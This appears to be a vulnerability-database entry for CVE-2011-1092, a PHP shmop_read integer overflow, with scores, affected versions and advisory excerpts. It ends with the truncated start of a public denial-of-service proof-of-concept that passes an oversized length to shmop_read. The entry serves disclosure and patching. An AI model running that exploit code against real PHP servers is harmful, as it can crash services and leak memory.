7.5
CVSSv2

CVE-2011-1092

Published: 15/03/2011 Updated: 30/10/2018
CVSS v2 Base Score: 7.5 | Impact Score: 6.4 | Exploitability Score: 10
VMScore: 755
Vector: AV:N/AC:L/Au:N/C:P/I:P/A:P

Vulnerability Summary

Integer overflow in ext/shmop/shmop.c in PHP prior to 5.3.6 allows context-dependent malicious users to cause a denial of service (crash) and possibly read sensitive memory via a large third argument to the shmop_read function.

Vulnerability Trend

Vulnerable Product Search on Vulmon Subscribe to Product

php php 5.3.1

php php 5.3.2

php php 4.0.6

php php 4.0.7

php php 4.1.1

php php 4.1.2

php php 4.3.0

php php 4.0.2

php php 4.0.3

php php 4.0

php php 4.0.0

php php 4.0.1

php php 4.2.0

php php 4.3.1

php php 4.3.10

php php 4.3.7

php php 4.3.8

php php 4.4.5

php php 4.4.6

php php 3.0.1

php php 3.0

php php 3.0.17

php php 3.0.16

php php 2.0

php php 1.0

php php 5.2.4

php php 5.2.6

php php 5.2.15

php php 5.2.16

php php 5.1.6

php php 5.1.4

php php 5.0.0

php php 5.0.2

php php 5.3.4

php php

php php 5.3.0

php php 4.0.4

php php 4.0.5

php php 4.1.0

php php 4.2.2

php php 4.2.3

php php 4.3.3

php php 4.3.4

php php 4.4.1

php php 4.4.2

php php 4.4.9

php php 3.0.11

php php 3.0.10

php php 3.0.4

php php 3.0.3

php php 3.0.8

php php 3.0.5

php php 5.2.13

php php 5.2.11

php php 5.2.14

php php 5.2.1

php php 5.1.3

php php 5.1.2

php php 5.0.3

php php 4.3.5

php php 4.3.6

php php 4.4.3

php php 4.4.4

php php 3.0.13

php php 3.0.12

php php 3.0.15

php php 3.0.14

php php 3.0.6

php php 2.0b10

php php 5.2.5

php php 5.2.0

php php 5.2.2

php php 5.2.17

php php 5.1.1

php php 5.1.0

php php 5.3.3

php php 4.2.1

php php 4.3.11

php php 4.3.2

php php 4.3.9

php php 4.4.0

php php 4.4.7

php php 4.4.8

php php 3.0.2

php php 3.0.18

php php 3.0.9

php php 3.0.7

php php 5.2.9

php php 5.2.12

php php 5.2.10

php php 5.2.8

php php 5.2.3

php php 5.2.7

php php 5.1.5

php php 5.0.5

php php 5.0.4

php php 5.0.1

Vendor Advisories

Several vulnerabilities have been discovered in PHP, the web scripting language The Common Vulnerabilities and Exposures project identifies the following issues: CVE-2011-1072 It was discovered that insecure handling of temporary files in the PEAR installer could lead to denial of service CVE-2011-4153 Maksymilian Arciemowicz discovered ...
USN 1126-1 introduced two regressions in PHP ...
Multiple vulnerabilities in PHP ...

Exploits

<?php # Exploit Title: PHP <=535 Integer Overflow DoS # Date: 12-03-11 # Author: Jose Carlos Norte - wwwrooibocom # Software Link: wwwphpnet # Version: <= 535 # Tested on: Ubuntu Linux # CVE : CVE-2011-1092 $shm_key = ftok(__FILE__, 't'); $shm_id = shmop_open($shm_key, "c", 0644, 100); $shm_data = shmop_read($shm_id, 1, 2147483647 ...